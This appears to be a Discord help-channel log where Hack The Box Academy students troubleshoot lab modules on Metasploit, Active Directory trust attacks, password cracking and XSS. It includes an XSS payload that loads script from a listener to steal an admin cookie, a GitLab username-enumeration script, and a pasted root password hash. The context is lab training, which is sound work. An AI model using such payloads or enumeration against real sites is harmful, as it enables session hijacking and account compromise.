about the openVPN connection type.. when should you consider using TCP instead of UDP? Cause I feel like TCP might be beneficial if the connection is unstable and keyboarding typing doesn't get recognized (you know, you type something on the cli of the target machine, but nothing appears in the command line). Could somebody shed some light on this?

vast veldt
safe mango
#

UDP works better in almost every situation. The difference is sometimes UDP traffic can be blocked by home wifi firewall or the ISP. So TCP works better there. A lot of hacking tools send massive amounts of small packets which makes TCP way slower than UDP

proud quail
flint ore
zenith kelp
#

Greetings everyone

worldly badger
#

hello guys can you tell me please how can i mount NFS share? everytime i try to mount it tells me that permission is denied while accessing the share

worldly badger
waxen totem
glad apex
#

why cant I write on other channels except here

waxen totem
worldly badger
flint ore
still roost
#

Apologies for the off topic post here in advance. How can I gain 'permission' to post in the other discord channels here such as #general ?

still roost
#

Thanks! @acoustic owl

opal basalt
#

Hey, could anyone point me in the right direction for the command injection skills assessment?

opal basalt
dapper moth
leaden island
#

Anybody ever had a problem with virtual box when it dosent detect any input ?

#

Im on ubuntu

signal berry
#

Hi hi, I got a small question,
I'm currently doing the module for metasploit framework -> modules
there is an nmap output like

nmap -sV 10.10.10.40

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-13 21:38 UTC
Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for 10.10.10.40
Host is up (0.051s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.87 seconds

after this, the module explains port 445 is open (as seen in the nmap output) and instantly goes to booting up msf to run MS17_010. Is there a way how i should make this connection? should this be 'common knowledge' to know what exploit to run when seeing an nmap output like this one ?

cloud urchin
# signal berry Hi hi, I got a small question, I'm currently doing the module for metasploit fr...

No, it's not 'common knowledge' to know what exploit to use simply from an nmap scan. You need to know which services are running, inspect them all, interact with them, try to get the version and see if there are any explots for it, etc. In this case, 445 simply means it's running SMB which is for file sharing. The first thing I'd try with something like that is connecting to the share to see which files, if any, are available to guest/anonymous users if I don't have credentials. You can try something like eternalblue, but that's like super low hanging fruit and 99.99% of the time it's not going to work.

signal berry
#

thank you, i guess it's for the sake of the module that they push eternalblue so you use msfconsole. i just found the jump odd considering there was nothing that signifies the exploit and the next step... is the exploit 😅

cloud urchin
#

yeah i think it's just showcasing it and it's an 'easy' exploit

#

@minor plover how about no

minor plover
#

yeah okay sure

gentle hollow
#

This might be a dumb question but if you are using the virtual instance by connecting via the browser you do not need to use a VPN correct?

cloud urchin
keen cairn
#

hey, has anyone eles had issues with the Web Requests -GET Target System, when you go into the browser web developer tool and run the search you do not get the request for the Search.php come through

cloud urchin
gentle hollow
keen cairn
#

i opened and refreshed then made the search request and got nothing

gentle hollow
#

I will figure it out

cloud urchin
keen cairn
#

even when i had a scan through the walk through help i had done everything correct just no search would be requested

keen cairn
#

i have done thisn plenty of times

cloud urchin
keen cairn
cloud urchin
#

That should show any requests you make.

keen cairn
#

i know but i kept getting 403 404

cloud urchin
#

well 404 means page can't be found, but you should still see the request in devtools

keen cairn
#

ill redo it now and see if it happened again and send SS if it happens

#

but was jsut wondering if anyone eles was having the same issue

#

ive managed to get past it now as i already new to use the ||?search=flag|| to get what i needed

ancient niche
#

ey guys good evening still i'm stuck hahahaha kek day 65 xD

#

the life of hacker is very hard xD

elder matrix
#

anyone here also having issues with psexec.py?

#
python3 /usr/share/doc/python3-impacket/examples/psexec.py  inlanefreight.local/REDACTED:'REDACTED'@172.16.XX.XX
Traceback (most recent call last):
  File "/usr/share/doc/python3-impacket/examples/psexec.py", line 33, in <module>
    from impacket import version, smb
  File "/usr/lib/python3/dist-packages/impacket/version.py", line 10, in <module>
    import pkg_resources
  File "/home/REDACTED/.local/lib/python3.13/site-packages/pkg_resources/__init__.py", line 2191, in <module>
    register_finder(pkgutil.ImpImporter, find_on_path)
                    ^^^^^^^^^^^^^^^^^^^
AttributeError: module 'pkgutil' has no attribute 'ImpImporter'. Did you mean: 'zipimporter'?
cloud urchin
elder matrix
#
$ impacket-psexec                                         
Traceback (most recent call last):
  File "/usr/share/doc/python3-impacket/examples/psexec.py", line 33, in <module>
    from impacket import version, smb
  File "/usr/lib/python3/dist-packages/impacket/version.py", line 10, in <module>
    import pkg_resources
  File "/home/REDACTED/.local/lib/python3.13/site-packages/pkg_resources/__init__.py", line 2191, in <module>
    register_finder(pkgutil.ImpImporter, find_on_path)
                    ^^^^^^^^^^^^^^^^^^^
AttributeError: module 'pkgutil' has no attribute 'ImpImporter'. Did you mean: 'zipimporter'?

#

should i simply update impackket-psexec?

cloud urchin
elder matrix
#

so what happens if new students use 3­.13+ on newer kali machines?

cloud urchin
#

You can use an older version of python. You can have more than one version installed. As for your kali question, idk, I'm on the latest kali and don't get that error. maybe update python? i'm on 3.13.2

elder matrix
#

ill just update my whole kali

#

im in the 2024.1 version

cloud urchin
#

ahh yeah that could be it

elder matrix
#

thanks for the heads up though, im more confident reinstalling everthing since it should work with newer installations now that you mention using 3.13.2

keen cairn
#

😂

#

thats a new one

strange pivot
#

Can somebody help me with the HTTP Response splitting please? I can successfully set my own cookie with Set-Cookie and steal it to the logs, but for some reason when I send this crafted payload url to the admin it just logs the entire url instead? I dont understand.

keen cairn
#

might be the wrong place to ask but does UTM VMs still work on M1 chip macs with sonoma ?

storm elk
#

Yup

keen cairn
#

thank you

#

i did not want to be paying for parelles 😂

storm elk
#

UTM is awesome

leaden island
#

ultra theft midtown

#

wwait this isnt general

strange pivot
#

In the HTTP Response Splitting why is it when im sending my link that works to the admin its just getting logged instead of executing?

rustic sage
#

The /lucky.php page has a button that appears to be disabled. Try to enable the button, and then click it to get the flag.
Skills Assessment - Using Web Proxies

#

Im having issues figuring out what to do right here

#

I know what im supposed to do, just cant seem to execute it

strange pivot
#

Am I supposed to be injecting into the log? then the admin visits the log?

rustic sage
#

Once you decode the cookie, you will notice that it is only 31 characters long, which appears to be an md5 hash missing its last character. So, try to fuzz the last character of the decoded md5 cookie with all alpha-numeric characters, while encoding each request with the encoding methods you identified above. (You may use the "alphanum-case.txt" wordlist from Seclist for the payload)

Skills Assessment - Using Web Proxies

woven mortar
#

I'm trying to submit my model (skills_assessment.joblib) in the Applications of AI in Infosec module, but it keeps returning invalid model. Any help would be appreciated.

clear seal
#

The CPTS module with creating shells threw me for a loop with the war exploit. Jeez

woven skiff
#

I have a problem with attacking common aplications with the attacking ColdFusion part, can someone help me?

sharp wren
#

hey everyone, wondering if people are bothering with installing a Windows VM? I completed the SOC analyst path completely in ParrotOS, but now starting to work on Sherlocks and one of them made me think if I should have a Windows VM ready to go for the exam. Specifically thinking about opening .evtx files or running Eric Zimmerman tools. I believe Unit42 sherlock write up is done on a Windows VM, and they just double-click/open an .evtx file. When I completed that sherlock, I parsed the file into raw xml file and ran grep on it through the terminal in ParrotOS.

cloud urchin
#

I haven't taken CDSA nor taken the path so take this with a grain of salt, but I would prepare to use anything and everything taught in the path. If that requires access to a Windows machine, yes you'll probably want something setup with all the tools in place before you begin.

olive peak
#

Is anyone familiar with mounting a bitlocker .vhd file

cloud urchin
olive peak
#

let me specialize my question. I am working on trying to mount a .vhd bitlocker via linux. from what I understand I need to use qemu-nbd and cryptsetup. I have a partition created under /dev/NBDop2 and when I attempt to use cryptsetup it mentions my partition is not a valid BITLK device. I made sure to make it a ext4 but I don't really see a exact answer of how to.

#

sudo cryptsetup bitlkOpen /dev/nbd0p2
Device /dev/nbd0p2 is not a valid BITLK device.

cloud urchin
#

found on google

#

probably easier to just do it in windows

olive peak
#

I think i have a idea on how to bring it over. see the issue is the I can't exactly get into the users account but I can via SMB. so cmd. however I can rdp into the same computer but different user. I am currently uploading the vhd to the user with access.

#

via evil-winrm

#

I think then I can use what you recommend.

rugged slate
#

Um,what should I do here?

#

Hey everyone? I hope anyone can see my text

compact patrolBOT
olive peak
signal mesa
#

On the Academy Modules Layout (https://academy.hackthebox.com/module/90/section/1559) in the pentesting job role, do I need to go through the list of recommened modules in order as someone who is entirely new to the world of IT and cybersecurity to be able to get a foothold on the subjects discussed in future modules?

waxen totem
#

maybe not all, e.g. JavaScript Obfuscation, or OSINT: Corporate Recon but mainly those in the InformationSecurityFoundations path

#

But in General I'd recommend doing the Information Security Foundations path before taking the Pentester Job path

junior thicket
#

Hello i am new here

cloud urchin
compact patrolBOT
kind garden
#

Hi, does anyone having the same problem with me, I’m taking the applications of ai in infosec module, in the network anomaly section, I followed everything but I keep getting invalid model file, what is the problem?

tame turtle
#

Hi mate! I had a lot of probs with this as well, when you create a new project in VS, do NOT,

I repeat do NOT choose "new console application" from the rightmost panel, instead search for 'framework' in the rightmost panel (or pick the choise to the left if present named '.Net Framework'), then select "new console application (.NET Framework)".
Create the code, build (in release) and now you good to go.

I realized I did something wrong, since the file I generated before was not possible to run under the target-machine, either I got the "The application to execute does not exist: 'C:\Windows\tasks\NotMalware.dll'" or simply "You must install .NET to run this application." if the .dll was present.
So case is we built from the wrong .Net template, We built from .Net, should've built from .Net Framework.

Edit: layout of paragraphs.

nova pivot
surreal chasm
#

Hey, in the “ACL Enumeration” there is this command, but it’s taking forever to run… was able to run bloodhound and it took less time.
Anyone remembers if it takes that much time or if you ran a different command?

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $gpo_group_sid}

winged steeple
soft reef
winged steeple
#

pm me

mild wedge
#

Hey, i'm at "Applications of AI in InfoSec" doing the "IMDB sentiment" skills assessment and ran into something odd (bug in Academy?).
I trained a simple scikit-learn model (TF-IDF + Logistic Regression), saved it with joblib, and it gets about 89 % accuracy when I test it locally.
The upload API reply always:

{
  "accuracy": 0.0,
  "metrics": null,
  "misclassified": []
}

So it looks like the model runs fine, but the accuracy number is 0.0%
Could someone take a quick look or let me know what i'm doing wrong?

Let me know if you want the exported file

rapid pulsar
#

I am on AD attacks & enum skill assessment 2, question 10. I found the user name from Bloodhound. I am struggling to find the hash. Can I get a nudge?

half geyser
#

More or less how far into the Academy modules should we be to start working on HTB machines? Should I finish the PenTest path completely first?

green musk
green musk
gray yacht
rapid pulsar
west arrow
#

im stuck on Password Attacks - easy labs, i have tried crackmap and also hydra, to crack ftp with the given username.list and password.list/ also the mutated.list but nothing, if i could get a tip on this. I waited almost 2h for hydra for nothing.
Link: https://academy.hackthebox.com/module/147/section/1334

sturdy ivy
gray yacht
olive peak
olive peak
clear seal
#

anything going on with modules right now? When I click the link to go into them, it's not working

#

nvm, was a glitch on my side apparently

wanton wharf
#

Just leaving a tip in case someone is having trouble with RDP and SOCKS Tunneling with SocksOverRDP (Cannot connect to jason host)
You probably installed proxifier in the wrong host and is trying to connect from the wrong host too.

digital sigil
#

DM me

teal sparrow
#

is the ai red teamer path going to become a cert eventually?

dark hedge
#

🤷‍♂️

sage void
#

Can anyone help with the Password attacks section Passwd,Shadow and Opasswd. I’m trying to crack the yescrypt hash with hashcat and John the ripper. Using a mutated password list. Any recommendations?

gloomy stump
#

I think this is not necessary?

sage void
#

Which part

gloomy stump
#

you have the credentials from Will?

sage void
#

Yeah I sshed in copied the back up files to my attack box

#

I’m trying to crack the root hash in the shadow file

gloomy stump
#

the .bak files?

sage void
#

I’ve tried what feels like everything

#

Yeah

#

Using hashcat it would say token length exception

gloomy stump
#

it should work with john and the mut_password list

stiff gust
#

Evan bro give me a DM if you can't figure any thing out with black sky👍

gloomy stump
#

try john

sage void
#

Will do

stiff gust
#

Great

sage void
#

I’m running it right now

plain hare
#

Hi All, qq im getting an error when running gobuster vhost -u http://inlanefreight.htb:81 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
Error: error on running gobuster: unable to connect to http://83.136.252.13/: Get "http://83.136.252.13/": dial tcp 83.136.252.13:80: connect: connection refused. in the Information Gathering - Web Edition Vhost section. any ideas? the target is spawn and i can ping it but does not seem to be able to enumerate the vhosts.

gloomy stump
#

Did you add the IP-adress to ect/hosts file?

gritty jacinth
sage void
#

I ran John - -format= crypt /file path to shadow /hashes - -wordlist:/ mutpassword.list path

#

And nothing

#

In my hash folder it has root:$y$j9T$1FyAd7.T1R9XTboO8.W571$ZguG.oxTSdzTOP0zLUqsY4ONGApmQOfPYZjot4BGlm2:0:0:root:/root:/bin/bash

junior fjord
#

Hello 👋

junior fjord
# junior fjord Hello 👋

Whenever I am trying to text something in off topic general it redirect me to this module section ? Why ? Is there is some criteria ? With I need to fullfill in this module ?

wheat glacier
#

Did you solve it? 😄

valid nest
#

working on crackmapexec skill assessment question 1.
I really need some advice.

  1. indicates my chisel setup.
  2. indicates the /etcproxychains4.conf socks5 at 1080, also treid sock4
  3. indicates my attempt to nxc or crackmapexec trying access to nmap. I also tried different IPs, 172.16.15.1 - 172.16.15.10 but no luck. This has been 7 hours just tring to get the setup. I also tried differnt machines, mac and kali. Any pointer will be apprciated. feels like i am doing the same thing over and over again.
plain hare
proven karma
#

can someone help me pls, i got 2 virtual machines. First is htb virtual parrot and second is Windows. I need to transfer zip archive from linux to windows. But my Windows virtual machine doesnt got access to internet. How can i transfer zip??

plain hare
gloomy stump
#

you're welcome 🙂

cold star
#

Hello Guys, So I am facing issue in Attacking Domain Trusts - Child -> Parent Trusts - from Windows in the active directory enumiration and attack module

#

the problem is after doing rdp into the attack machine there are no tools folder present

#

I have tried spawning new machines 3 to 4 times

cold star
#

scp /path/to/local/file username@windows_ip:/path/to/destination

gritty jacinth
proven karma
soft reef
cold star
dapper moth
#

If accessibility is the issue, there are a couple of ways to transfer files

#

SMB, RDP, HTTP

cold star
#

after running the tools I face new issue

#

this indicates I dont have enough permission so dump the hash

safe star
cold star
young gale
#

Try to repeat what you learned in this section to identify the vulnerable input field and find a working XSS payload, and then use the 'Session Hijacking' scripts to grab the Admin's cookie and use it in 'login.php' to get the flag.

I done
"><script src=http://10.129.255.239:1337/script.js></script>
I opened a php server using "sudo php -S 0.0.0.0:1337"
I made the php file and the script.js file, the script.js will execute the php, the php script captures thew cookie for me

and didnt get anything

#

module: session hijacking

marsh echo
#

hello 🙂

young gale
#

Hello hibooxx

marsh echo
#

how are you 🙂

young gale
#

tired, been struggling with the module for a little

#

so close to completing but, struggling right now

marsh echo
#

which module ?

young gale
#

Cross-Site Scripting (XSS)

marsh echo
#

oww I've finished this one. What are you stuck on?

young gale
#

session hijacking

#

the javascript file doesn't seem to be executing

#

script.js is created , php file is created,

#

im also running the php server with "sudo php -S 0.0.0.0:1337"

#

it's obvious the imgurl input box is vulnerable, due to the contents im seeing

marsh echo
#

hmmm wait have you created an index.php to retrieve the request on your server?

young gale
#

yes

#

umm.... i think i found the issue lmao

#

I wasnt even in the directory

#

oh still didnt even capture the cookie

marsh echo
#

maybe you may have tested the wrong field

young gale
#

hmm okay let's try different ones

marsh echo
young gale
#

okay

#
http://10.129.255.239/hijacking/?fullname=asda&username=asdadawd&password=asjuhdanl&email=asdjubihan%40gmail.com&imgurl=asdawdas
#

got what was sent

#

so i test eachj input according to /fullname "

#

/username /password /email /imgurl ?

marsh echo
young gale
#

oh yeah

marsh echo
#

there will be an error on the server and the field will be vulnerable

young gale
marsh echo
#

mhmmmm is trying to relaunch the challenge

young gale
#

okay

#

spawning new IP

marsh echo
#

yess for a fresh server

#

I'm trying to do it again on my side as it's been a long time ahah

young gale
marsh echo
#

1 year old lol I nearly lost my hair

young gale
#

damnn

marsh echo
# young gale damnn

no experience in penetration testing for the more experienced it takes less time

young gale
#

they gacve me the same new ip lol

marsh echo
#

what payload did you put in script.js?

young gale
#

same ip and port being used

marsh echo
#

by pure chance try with a " for the following payload: "><script src=http://10.129.255.239:1337/fullname></script>, but it seems strange to me because you have the right method

vernal tapir
#

He’s using the Target IP it looks like, should be sending it to your Attack Machine IP where the server listener is hosted

marsh echo
young gale
#

wait so in the field it's my local ip?

marsh echo
#

in all fields to detect which field is vulnerable

#

same process just change the field

young gale
marsh echo
#

don't forget you must put the path vulnerable

young gale
#

done it

marsh echo
#

gj

young gale
#

on the final part the skills assessmentr

quiet heart
#

Hi, if I subscribe to the Gold Annual Plan, will I get one or two certificates? And if I don’t take the exam during the subscription period, will I lose the the exam chance?

serene oar
#

Hi
I'm a beginner, and I would like to know the right way to start learning in this field. How should I begin? Are there any platforms that can help me become a professional? I hope to hear back from you.

compact patrolBOT
fathom pendant
vernal temple
#

SOC analyst course I am stuck for 2 weeks there, cant paste a screenshot here with an exact question and details, but can anyone help me with one assignment

thick steppe
#

guys I am having bigg isuue, can someone plese help

vernal temple
#

I read forums but it ddidnt work

thick steppe
#

I was following along the windows fundamentals and ran a command

cloud urchin
thick steppe
#

this one on my /home//user/document

sudo mount -t cifs -o username=htb-student,password=YourPassword //SERVER_IP/"Company Data" /home/user/Desktop/

#

and suddenly my document folder is gone

#

everything in their vanished, all my notes and projects till now

vernal temple
#

Introduction To The Elastic Stack 2 assignments at the end - is this the right chat to ask? I dont have a permission to text in many of those chats here

thick steppe
#

like its their but nothing in it except a file which says this

[ViewState]
Mode=
Vid=
FolderType=Generic

#

this is fucked up, everything I had done till this point in time gone

cloud urchin
pine phoenix
#

Can anyone narrow down the bruteforcing for "Find another valid user on the target GitLab instance."

Its literally rate limited and names.txt (for instance) is a massive list. HTB is sadistic for this

vernal temple
#

I did and it blocked my message

#

i copied my ID and it says it is blocked

#

soemone recommened me this discord that I can find help here

#

but I see many ppl are typing with problems and no one is helping

thick steppe
vernal temple
#

is there any specific person that helps with htb modules

cloud urchin
#

just ask your question and be patient

vernal temple
#

it is the whole assigment not one question. I will probably email hack the box I literally did nothing for 2 weeks because I dont know what to do.

cloud urchin
#

that's not a module

#

did oyu mean introduction to threat hunting & hunting with elastic?

#

just articulate your question and ask and maybe someone can help.

vernal temple
#

Introduction To The Elastic Stack yes

#

how to do it: Navigate to http://[Target IP]:5601, click on the side navigation toggle, and click on "Discover". Then, click on the calendar icon, specify "last 15 years", and click on "Apply". Finally, choose the "windows*" index pattern. Now, execute the KQL query that is mentioned in the "Comparison Operators" part of this section and enter the username of the disabled account as your answer. Just the username; no need to account for the domain. I have no idea. I tried

#

i followed this of course

#

when I typed this http://[Target IP]:5601 it doesnt go anywhere - the captcha turns on and ask to indicate the hydrant- and this never ends, then busses etc and Im stuck there for 2 weeks always the same

cloud urchin
vernal temple
#

then it tells me to do it again and again "try again

#

I downloaded whatever there was

#

opened the spawn machine typed that http target

#

oh what am I doing wrong

#

this file that i downloaded doest want to open

cloud urchin
#

It's a web app

vernal temple
#

so I am stuck with captcha

#

it doesnt let me go any further

cloud urchin
#

i don't remember any captcha, you should really specify exactly which module and section you're on

vernal temple
#

this one Introduction To The Elastic Stack: What Is The Elastic Stack? and the two bottom questions

cloud urchin
#

ok that module is security monitoring & siem fundamentals

vernal temple
#

I also emailed them . Yes it is

#

soc analyst path

#

oh wow my login is displayed here just noticed that

#

I was so excited for this soc analyst and then I got stuck and tried over and over to move forward, read forums. And nothing worked

green hawk
#

Anyone around willing to take a quick lookieloo at the Wordpress Skills Assessment in CBBH? It's acting like the Wordpress site's database is corrupted or maybe misconfigured or something.

cloud urchin
safe star
#

theres also nothing needed to download or login

cloud urchin
#

yeah. hard to get info out of him though. i just tested and there is no captcha either.

#

sounds like he went to some phishing site instead

orchid furnace
#

Hi, I had student subscription for a while now. I've been wondering if it s possible to stop the subscription and then go back to it ?
Since I will be a bit busy for this month to learn at academy. If I unsubscribe can I resubscribe as a student again ?

orchid furnace
#

Thank you

gaunt wren
#

anybody with an idea how to change POST data on inttercepting web requests, bug bounty path, introduction to web proxies

reef sonnet
#

in "web proxies" module there is a part with ZAP scanner
Run ZAP Scanner on the target above to identify directories and potential vulnerabilities. Once you find the high-level vulnerability, try to use it to read the flag at '/flag.txt'
i found the flag, but it does not wanna accept it
can anybody help me with it?

waxen totem
reef sonnet
#

thanks

rustic sage
#

Yall I'm making a pc to start my cyber security learning I am at 0 rn
My pc have these
32gb ram
1tb storage
Rtx 3060
Ryzen 5 5600x
Total cost 1000$

#

Is it good
?

winged steeple
winged steeple
young gale
#

how much is the 5060 ti?

#

oh wow thats cheap

tepid crane
#

Hey guys, I want to give feedback regarding:

https://academy.hackthebox.com/module/75/section/763

What is the CVSS score of the public vulnerability CVE-2017-0144?

The question is unspecified, since the CVSS 3.0 score is around 8 and the expected value is based on CVSS 2.0 an therefore around 9.
You may want to specify it. If its not here to place feedback, please tell me were to correctly place it.

thx

autumn pilot
#

Did you check the hint

tepid crane
# autumn pilot Did you check the hint

Hey, if your answer is regarding my request, I have already found the answer. But the question should ask for CVSS2 to specify the expected value. I know its a beginners module, but I just want to improve the question.

cold star
#

Hey, After using psexec I got shell in DC but I am unable to naviagte to tools folder because whenever I use command dir it gives error and gets stuck every time. I need tools like mimikatz to dump hash for user

#

@neat crest

vernal temple
#

Captcha is blocking me it asks me to select fire hydrant for a few min and then nothing happens

cold star
#

@thorny kraken

thorny kraken
#

My bad

cold star
thorny kraken
#

Could you run it in powershell? Does that help?

cold star
dark hedge
#

what module is this?

cold star
cold star
#

After launching poweshell and using ls still it got stuck

dark hedge
#

just dir C:\Users\Administrator\Desktop

cold star
dark hedge
#

oh youre looking for tools

cold star
#

I need to get hash for bross user

cold star
dark hedge
#

do you know where the tools folder is

cold star
#

This is the question - Perform the ExtraSids attack to compromise the parent domain from the Linux attack host. After compromising the parent domain obtain the NTLM hash for the Domain Admin user bross. Submit this hash as your answer.

dark hedge
#

have you tried dir C:\Tools

cold star
cold star
dark hedge
#

you'll have to get the NTLM hash some other way then

cold star
#

Because I am unable to import tools also

dark hedge
#

if you understand how the ExtraSids attack works, then you should be able to come up with a way

neat crest
dark hedge
#

yes

cold star
dark hedge
#

you don't need a shell

cold star
cold star
dark hedge
#

you have a golden ticket, that's all you need

cold star
#

Okay I have got the problem The sid attack is not succesfull I will try again and fix it

#

@dark hedge @neat crest

dark hedge
#

maybe read the error message

neat crest
#

that means the user dont have the rights

cold star
cold star
dark hedge
#

Kerberos is a mysterious beast

#

if the attack doesn't work with a user that doesn't exist, then...

cold star
dark hedge
#

yes..

#

but clearly the attack didn't work so

cold star
dark hedge
#

rethink the data points you need to carry out the attack

cold star
silent falcon
#

i got root user access on planning box i can't find any flag .

#

any ideas?

weak current
worn aurora
#

On RDP and SOCKS Tunneling with SocksOverRDP.

I rdp into ACADEMY-PIVOTING-WIN10PIV. Copy move over SocksOverRDP-x64.zip, and ProxifierPE.zip. Disable realtime protection.

On WIN10PIV I register the plugin dill, it is successful.

RDP into 172.16.5.19 where I disable defender. I run SocksOverRDP-Server.exe as admin, then run Proxifier and add the 127.0.0.1 with port 1080 as default route. I cannot rdp iinto 172.16.6.155, getting this message in Proxifier: [05.13 07:12:01] mstsc.exe (5544) *64 - 172.16.6.155:3389 error : Could not connect to proxy.

The Listener on WIN10PIV is active. Not sure what to do here

thorny kraken
#

Where are you looking?

gloomy vessel
#

ayo guys, idk if it's on this channel where I'm supposed to ask for help, i'm a beginner so idk if it's on the right channel, anyways

eternal bronze
#

How can I get tech support for HSB? Account help

gloomy vessel
#

does anyone know how to change from htb-student to bob.smith user so I can get the SID?

gloomy vessel
gray yacht
compact patrolBOT
soft moon
#

is there anyone here that could please help me with linux privilege escalation module?

foggy monolith
# storm elk 👆

The credentials provided for AD Trust Attacks § Unconstrained Delegation (https://academy.hackthebox.com/module/253/section/2803) don't work at all:

$ xfreerdp3 /v:10.129.229.207 /d:inlanefreight.ad /auth-pkg-list:!kerberos,ntlm /u:Administrator /p:'HTB_@cademy_adm!' /dynamic-resolution /cert:ignore /timeout:99999 /w:2880 /h:1620 /drive:'C',.
[08:39:47:006] [1918541:001d464e] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]:     : keycode: 0x08 -> no RDP scancode found
[08:39:47:006] [1918541:001d464e] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]:     : keycode: 0x5D -> no RDP scancode found
[08:39:48:860] [1918541:001d464e] [ERROR][com.freerdp.core] - [nla_recv_pdu]: ERRCONNECT_LOGON_FAILURE [0x00020014]
[08:39:48:860] [1918541:001d464e] [ERROR][com.freerdp.core.rdp] - [rdp_recv_callback_int][0x5d34b8b3a240]: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[08:39:48:860] [1918541:001d464e] [ERROR][com.freerdp.core.rdp] - [rdp_recv_callback_int][0x5d34b8b3a240]: CONNECTION_STATE_NLA status STATE_RUN_FAILED [-1]
[08:39:48:860] [1918541:001d464e] [ERROR][com.freerdp.core.transport] - [transport_check_fds]: transport_check_fds: transport->ReceiveCallback() - STATE_RUN_FAILED [-1]
soft moon
#

i've been stuck on Miscellaneous Techniques section where I have to hack into a weak NFS which has been configured poorly with no_squash_root

dark hedge
soft moon
#

I tired compile the code on my systems but it appears my GCC version is too new, so then I created a VM and installed GCC 7.5.0 but that had issues compiling the payload and shell.c, I tried a locate a old ISO file of ubuntu warty something which is the exact same uname -r but no luck 😦, the VM didn't want to boot up

pine phoenix
#

Going to give the Attacking Common Applications the lowest rating for the module bc of the Attacking GitLab

It was so try hard. So time consuming. Couldve provided a much better hint to narrow it down. Seemed sadistic and unreasonable

dark hedge
#

huh, not the thick-client applications sections?

pine phoenix
#

Also this will help speed up the process a bit:

└──╼ $cat gitlab_enum_fast.sh 
#!/usr/bin/env bash
URL="$1"
WORDLIST="$2"

# sanity check
if [[ -z "$URL" || -z "$WORDLIST" ]]; then
  echo "Usage: $0 <base-url> <userlist>"
  exit 1
fi

export URL
export PARALLEL_READ_TIMEOUT=0
parallel --jobs 30 --bar '
  code=$(curl -s -o /dev/null -w "%{http_code}" "${URL}/{}")
  if [[ $code -eq 200 ]]; then
    echo "[+] {} exists"
  fi
' :::: "$WORDLIST"
soft moon
pine phoenix
#

Bro, its absolutely ridiculous. Im sorry. Best we can do is give it a low rating and provide feedback as to why

lament hound
#

Hi. Stuck on the first assessment for the Active Directory Enumeration & Attacks topic. I'm trying to use Get-DomainUser, but I keep getting the error "The term 'Get-DomainUser' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again."

dapper moth
lament hound
cold star
#

Anyone want's to do password cracking module with me? I will be starting it after completion of my active directory enumiration and attacks module. Need a partner because studying alone is very boring.

soft moon
#

I will @cold star but I am not very good just a networking student wanting to learn more

cold star
soft moon
#

😮 bit of a odd 1 to start with

#

alright dm incmoing

dapper moth
cold star
gloomy vessel
gray yacht
dim thunder
#

Hi, can someone help me with Intro to C2 Operations with Sliver -> SA-> Q4. I have completely looted dc02 (dc02 admin and dc02 krgtgt) and now I need to abuse the domains trust somehow. I guess I need to make a diamond or gold ticket, I have done both but I still can't access DC01. Not sure which part I am doing wrong.

gloomy vessel
merry path
#

;back

gray yacht
gloomy vessel
lament hound
merry path
#

Ok

dapper moth
soft moon
#

ricky am I stuck on Linux Privilege Escalation Miscellaneous Techniques the weak NFS share is there another way I could think outside the box?
I tried configuring GCC 7.5.0 on a VM, but missing some random dependencies
I tried hunting for a the exact uname -r of ubuntu, which was like warty something (I have screen shoots but VM doesn't want to boot fully)
I could you the cloud VM on HTB but I want to try and configure or solve it another way

#

many tools make life interesting 😄 and sometimes a different view can provide different insight

lament hound
foggy monolith
# gray yacht Try `htb-student` creds

Will try that later, although the module is literally providing instructions to use Administrator:HTB_@cademy_adm! which it shouldn't if the htb-student creds are correct.

dapper moth
gray yacht
gray yacht
soft moon
#

ok thanks Ricky

foggy monolith
hardy plover
#

Hi,
Im in AD enumeration and attacks. I have sshed into parrot machine. When im trying to clone kerbrut, it’s giving me fatal error

foggy monolith
hardy plover
foggy monolith
# hardy plover As per the lab setup its our machine connected to client AD environment, enumera...

If you don't have a Ligolo or Chisel pivot set up. If you do then it's easier to just use it. Again, however, that Parrot jump machine has no Internet connection. You need to clone it to something else and use SSH to copy the cloned files from the PwnBox or your VM to the jump box.

Something like scp -r kerbrute htb-student@<jump-IP>:~/kerbrute is what you need to do after cloning it to your own machine (or the PwnBox if you prefer that).

hardy plover
#

Okay thanks guys 🙂
I thought something was wrong because i am just following the module

#

Step by step

thick steppe
#

hey guys I am doing windows fundamentals in the Windows Services section there is a big list of services and some data do I need to remember all of them

foggy monolith
thick steppe
#

is it necessacery to remember this kinda stuff in the modules or its their just to show as an example

foggy monolith
# thick steppe this one

Taking a screenshot of that and pasting it into notes is fine. That is, however, stuff that will help you later on, so it's best to have that ready to pull up when you need it.

cyan blade
thick steppe
#

also how long u took to prep for cpts

foggy monolith
#

Can't answer that without spoiling the exam unfortunately. And it took me a semester as the YouTube video link in my bio explains.

thick steppe
#

oh let me see

#

thanks

vernal temple
#

Honestly not sure what to do cant move any further and I purchased this course and would love to finish it

grim fable
#

I need some assistance with the Java Obfuscation Module. I have the flag for the HTTP Requests section, but its saying that its incorrect. The flag I have looks like this: HTB{xxxx_xxxxxxx_xxxxxx_xxxxxx}

grim fable
#

no

safe star
#

Or are you using pwnbox

grim fable
#

I am using my own system

#

I just connected to VPN and same issue

dapper moth
# lament hound

Can you read the file to confirm it’s right or have anything wrong while transferring the file?

cold star
#

Going to start password modules with a study partner section soon lol

dapper moth
#

You can also import it via IEX directly from an HTTP server

potent tapir
#

try scp

#

if you cant download it

safe star
#

